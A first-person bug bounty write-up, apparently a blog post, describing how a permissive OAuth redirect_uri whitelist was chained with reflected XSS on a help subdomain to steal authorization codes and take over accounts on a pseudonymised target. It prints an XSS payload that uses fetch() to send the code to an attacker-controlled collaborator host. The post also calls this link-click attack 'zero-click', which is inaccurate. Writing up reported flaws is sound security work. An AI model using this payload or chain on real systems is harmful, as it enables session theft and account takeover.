It was 2 AM, and all I had found after four hours of probing a private SaaS program was a standard Open Redirect on their login endpoint. Usually, open redirects are the participation trophies of bug bounty. Triagers groan, you get a "P4 — Informative" (if it's not closed as N/A), and everyone moves on.

But something about the way this specific redirect handled the OAuth flow kept me from shutting my laptop.

The Setup

The target — let's call them AcmeCorp — used a centralized Single Sign-On (SSO) system. When a user wanted to log into the main dashboard, they were routed through a URL that looked like this:

https://sso.acmecorp.com/auth?client_id=app123&redirect_uri=https://app.acmecorp.com/dashboard

I started playing with the redirect_uri parameter. Changing it to https://evil.com threw a hard 403 Forbidden. They had a whitelist. But when I changed it to https://marketing.acmecorp.com, the server happily responded with a 302 redirect.

The whitelist was wildly permissive. It allowed redirects to any AcmeCorp subdomain.

By itself, this is practically useless. Sure, I could redirect a user to a marketing page, but there's no real security impact. I needed a way to escalate.

None

Hunting for the Missing Link

If I could redirect a user to any subdomain after they authenticated, and the SSO appended their sensitive OAuth authorization code to that URL, I just needed to find a way to steal it.

I spent the next hour running Subfinder and probing every AcmeCorp subdomain I could find. I wasn't looking for RCE or SQLi anymore. I was hunting for something much simpler: a Cross-Site Scripting (XSS) vulnerability.

I finally struck gold on help.acmecorp.com. Their legacy support portal had a deeply buried, unauthenticated search function that reflected user input directly into the DOM without sanitization.

A reflected XSS on a useless support subdomain is usually a P3 at best. But combined with the open redirect, it was the key to the kingdom.

The Exploit Chain

Here is exactly how the pieces fit together:

  1. I crafted a malicious link pointing to the legitimate AcmeCorp SSO, but I set the redirect_uri to point to my XSS payload on the help subdomain.
  2. The victim clicks the link. Because it points to sso.acmecorp.com, it looks perfectly safe.
  3. If the victim is already logged in (or logs in), the SSO generates a valid OAuth code and redirects them to my payload: https://help.acmecorp.com/search?q=<script>fetch('https://my-burp-collaborator.net/?code='+window.location.search)</script>
  4. The XSS executes in the victim's browser, grabs the OAuth code from the URL bar, and silently sends it to my server.
  5. I take that code, exchange it for a session token, and I am now logged into their account.

Zero-click Account Takeover.

The Realization

I submitted the report and went to sleep. When I woke up, it had been triaged as a Critical (P1) and the bounty was awarded later that week.

We often get tunnel vision in bug bounty, looking for the single, devastating vulnerability that cracks the application wide open. But modern applications are heavily fortified at the front door. The real damage usually happens when you find two seemingly harmless misconfigurations and introduce them to each other.

A P4 plus a P3 doesn't always equal a P3. Sometimes, it equals a P1.